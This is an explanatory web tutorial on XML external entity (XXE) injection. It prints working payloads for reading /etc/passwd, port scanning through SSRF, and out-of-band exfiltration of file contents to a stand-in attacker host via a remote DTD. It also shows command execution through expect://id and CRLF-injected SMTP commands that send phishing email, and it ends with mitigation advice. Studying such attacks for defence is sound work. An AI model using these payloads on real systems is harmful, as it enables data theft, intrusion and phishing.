What is the way from XML to remote code execution

What is XXE

Simply put, XXE is XML external entity injection. When external entities are allowed to be referenced, by constructing malicious content, it may cause harm such as arbitrary file reading, system command execution, intranet port detection, and attacks on intranet websites.

For example, if the program you are currently using is PHP, you can set libxml_disable_entity_loader to TRUE to disable external entities for defense purposes.

Basic Exploitation

Usually the attacker will inject the payload into the XML file. Once the file is executed, the local file on the server will be read and the intranet will be Initiate an access scan of internal network ports. In other words, XXE is a way to reach various services locally. In addition, this may also help attackers bypass firewall rule filtering or authentication checks to a certain extent.

The following is an example of a simple XML code POST request:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

Afterwards, the above code will be parsed by the server's XML processor. The code is interpreted and returned: {"Request Successful": "Added!"}

Now, what happens when an attacker tries to abuse XML code parsing? Let’s edit the code and include our malicious payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

The code is interpreted and returns:

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

as shown in the example above , the server returns the contents of the /etc/passwd file to our XXE as a response. But in some cases, even though XXE may be present on the server, no response will be returned to the attacker's browser or proxy. In this case, we can use the Blind XXE vulnerability to build an out-of-band (OOB) channel to read the data. While we can't view the file contents directly, we can still use the vulnerable server as a proxy to perform scans as well as code on the external network.

Scenario 1 - Port Scan

In the first example, we pointed the request to the /etc/passwd file through the URI, and finally returned it successfully to us the contents of the file. In addition to this, we can also convert the XXE to SSRF (Server Side Request Forgery) by using an http URI and forcing the server to send a GET request to the endpoint and port we specify.

The following code will try to communicate with port 8080. Based on the response time/length, the attacker will be able to determine whether the port has been opened.

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Scenario 2 - Stealing files via DTD

External Document Type Definition (DTD) files can be used to trigger OOB XXE. The attacker hosts the .dtd file on a VPS, allowing a remote vulnerable server to obtain the file and execute the malicious commands within it.

The following request will be sent to the application to demonstrate and test the method:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

The above code, once processed by the vulnerable server, will send a request to our remote server, looking for DTD file containing our payload:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM &#39;http://ATTACKESERVER.com/?%file;&#39;>">
%all;

Let’s take a moment to understand the execution flow of the above request. The result is that two requests are sent to our server, the second request is the contents of the /etc/passwd file.

In our VPS logs we can see the second request with file content, with which we also confirmed the existence of the OOB XXE vulnerability:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

Scenario 3 - Remote Code Execution

This is a rare occurrence, but there are cases where an attacker is able to execute code via XXE, mostly due to improper configuration/development of internal applications. If we are lucky enough and the PHP expect module is loaded on a vulnerable system or an internal application that handles XML, then we can execute the following command:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

Response:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

Scenario 4 - Phishing

We found a vulnerable endpoint using Java’s XML parser. After scanning the internal ports, we found an SMTP service listening on port 25 with Java support for the ftp URI in sun.net.ftp.impl.FtpClient. Therefore, we can specify the username and password, such as ftp://user:password@host:port/test.txt, and the FTP client will send the corresponding USER command in the connection.

But if we will (CRLF) anywhere in the user part of the URL, we can terminate the USER command and inject a new command into the FTP session, which allows us to send arbitrary SMTP commands to port 25:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

When When an FTP client connects using this URL, the following command will be sent to the mail server on VULNERABLESYSTEM.com:

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

This means that an attacker can send a phishing email from a trusted source (for example: account reset link) and bypass spam filter detection. In addition to links, even we can send attachments.

Utilities

Being able to manually edit web requests is crucial for XXE attacks. Here I recommend everyone to use BurpSuite. BurpSuite's scanning function can detect potential XXE vulnerabilities for us, and secondly, burp's Intruder function is very suitable for port detection. But we should remind you that tools are only our assistants, and in some cases manual testing may be better!

HTTP request analysis tools like RequestBin and HookBin are very suitable for OOB XXE testing. In addition, BurpSuite Pro’s Collaborator is also a good choice, but some security researchers prefer to use their own VPS.

Mitigation measures

The main problem discussed above is that the XML parser parses untrusted data sent by the user. However, it is not easy or impossible to verify the data defined by the SYSTEM identifier in the DTD (document type definition). Most XML parsers are vulnerable to XXE attacks by default. Therefore, the best solution is to configure the XML processor to use local static DTDs and not allow XML to contain any self-declared DTDs.

The above is the detailed content of What is the way from XML to remote code execution. For more information, please follow other related articles on the PHP Chinese website!